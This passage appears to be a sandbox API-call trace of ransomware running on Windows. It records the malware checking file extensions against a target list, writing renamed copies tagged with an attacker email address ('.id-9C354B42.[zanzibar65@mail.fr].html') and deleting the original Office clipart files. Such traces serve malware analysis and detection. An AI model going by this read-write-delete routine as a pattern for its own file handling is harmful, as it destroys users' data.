lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.516] lstrlenW (lpString=".1cd") returned 4 [0059.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0059.516] lstrlenW (lpString=".jpg") returned 4 [0059.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.518] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12788) returned 1 [0059.518] CloseHandle (hObject=0x1c4) returned 1 [0059.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0059.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.518] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.518] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.518] GetLastError () returned 0x0 [0059.519] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x31f4, lpOverlapped=0x0) returned 1 [0059.520] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3200, lpOverlapped=0x0) returned 1 [0059.521] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.521] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.521] SetEndOfFile (hFile=0x220) returned 1 [0059.521] CloseHandle (hObject=0x220) returned 1 [0059.522] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.522] SetEndOfFile (hFile=0x1c4) returned 1 [0059.522] CloseHandle (hObject=0x1c4) returned 1 [0059.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0059.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.523] lstrlenW (lpString=".doc") returned 4 [0059.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.523] lstrlenW (lpString=".docx") returned 5 [0059.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.523] lstrlenW (lpString=".pdf") returned 4 [0059.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.523] lstrlenW (lpString=".xls") returned 4 [0059.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.523] lstrlenW (lpString=".xlsx") returned 5 [0059.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.523] lstrlenW (lpString=".ppt") returned 4 [0059.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.523] lstrlenW (lpString=".zip") returned 4 [0059.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.523] lstrlenW (lpString=".rar") returned 4 [0059.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.523] lstrlenW (lpString=".bz2") returned 4 [0059.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.524] lstrlenW (lpString=".7z") returned 3 [0059.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.524] lstrlenW (lpString=".dbf") returned 4 [0059.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.524] lstrlenW (lpString=".1cd") returned 4 [0059.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0059.524] lstrlenW (lpString=".jpg") returned 4 [0059.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.531] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3104) returned 1 [0059.531] CloseHandle (hObject=0x1c4) returned 1 [0059.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0059.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.531] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.531] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.532] GetLastError () returned 0x0 [0059.532] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xc20, lpOverlapped=0x0) returned 1 [0059.533] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xc30, lpOverlapped=0x0) returned 1 [0059.534] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.534] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.534] SetEndOfFile (hFile=0x220) returned 1 [0059.534] CloseHandle (hObject=0x220) returned 1 [0059.534] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.534] SetEndOfFile (hFile=0x1c4) returned 1 [0059.535] CloseHandle (hObject=0x1c4) returned 1 [0059.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0059.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.535] lstrlenW (lpString=".doc") returned 4 [0059.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString=".docx") returned 5 [0059.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.536] lstrlenW (lpString=".pdf") returned 4 [0059.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString=".xls") returned 4 [0059.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.536] lstrlenW (lpString=".xlsx") returned 5 [0059.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.536] lstrlenW (lpString=".ppt") returned 4 [0059.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.536] lstrlenW (lpString=".zip") returned 4 [0059.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.536] lstrlenW (lpString=".rar") returned 4 [0059.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString=".bz2") returned 4 [0059.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString=".7z") returned 3 [0059.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.536] lstrlenW (lpString=".dbf") returned 4 [0059.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.536] lstrlenW (lpString=".1cd") returned 4 [0059.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0059.536] lstrlenW (lpString=".jpg") returned 4 [0059.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.537] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1588) returned 1 [0059.537] CloseHandle (hObject=0x1c4) returned 1 [0059.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0059.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.537] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.537] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.537] GetLastError () returned 0x0 [0059.537] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x634, lpOverlapped=0x0) returned 1 [0059.539] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x640, lpOverlapped=0x0) returned 1 [0059.540] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.540] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.540] SetEndOfFile (hFile=0x220) returned 1 [0059.540] CloseHandle (hObject=0x220) returned 1 [0059.540] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.540] SetEndOfFile (hFile=0x1c4) returned 1 [0059.541] CloseHandle (hObject=0x1c4) returned 1 [0059.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0059.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.541] lstrlenW (lpString=".doc") returned 4 [0059.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.541] lstrlenW (lpString=".docx") returned 5 [0059.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.541] lstrlenW (lpString=".pdf") returned 4 [0059.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.541] lstrlenW (lpString=".xls") returned 4 [0059.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.542] lstrlenW (lpString=".xlsx") returned 5 [0059.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.542] lstrlenW (lpString=".ppt") returned 4 [0059.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.542] lstrlenW (lpString=".zip") returned 4 [0059.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.542] lstrlenW (lpString=".rar") returned 4 [0059.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.542] lstrlenW (lpString=".bz2") returned 4 [0059.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.542] lstrlenW (lpString=".7z") returned 3 [0059.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.542] lstrlenW (lpString=".dbf") returned 4 [0059.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.542] lstrlenW (lpString=".1cd") returned 4 [0059.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0059.542] lstrlenW (lpString=".jpg") returned 4 [0059.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.542] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1212) returned 1 [0059.542] CloseHandle (hObject=0x1c4) returned 1 [0059.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0059.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.543] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.543] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.543] GetLastError () returned 0x0 [0059.543] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x4bc, lpOverlapped=0x0) returned 1 [0059.550] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0059.551] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.551] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.551] SetEndOfFile (hFile=0x220) returned 1 [0059.730] CloseHandle (hObject=0x220) returned 1 [0059.745] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.754] SetEndOfFile (hFile=0x1c4) returned 1 [0059.768] CloseHandle (hObject=0x1c4) returned 1 [0059.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0059.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString=".doc") returned 4 [0059.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString=".docx") returned 5 [0059.769] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.769] lstrlenW (lpString=".pdf") returned 4 [0059.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString=".xls") returned 4 [0059.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.769] lstrlenW (lpString=".xlsx") returned 5 [0059.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.769] lstrlenW (lpString=".ppt") returned 4 [0059.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString=".zip") returned 4 [0059.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.769] lstrlenW (lpString=".rar") returned 4 [0059.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString=".bz2") returned 4 [0059.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString=".7z") returned 3 [0059.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString=".dbf") returned 4 [0059.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString=".1cd") returned 4 [0059.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0059.769] lstrlenW (lpString=".jpg") returned 4 [0059.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.770] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3796) returned 1 [0059.770] CloseHandle (hObject=0x1c4) returned 1 [0059.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0059.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0059.770] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.770] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0059.770] GetLastError () returned 0x0 [0059.770] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xed4, lpOverlapped=0x0) returned 1 [0059.772] WriteFile (in: hFile=0x220, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, 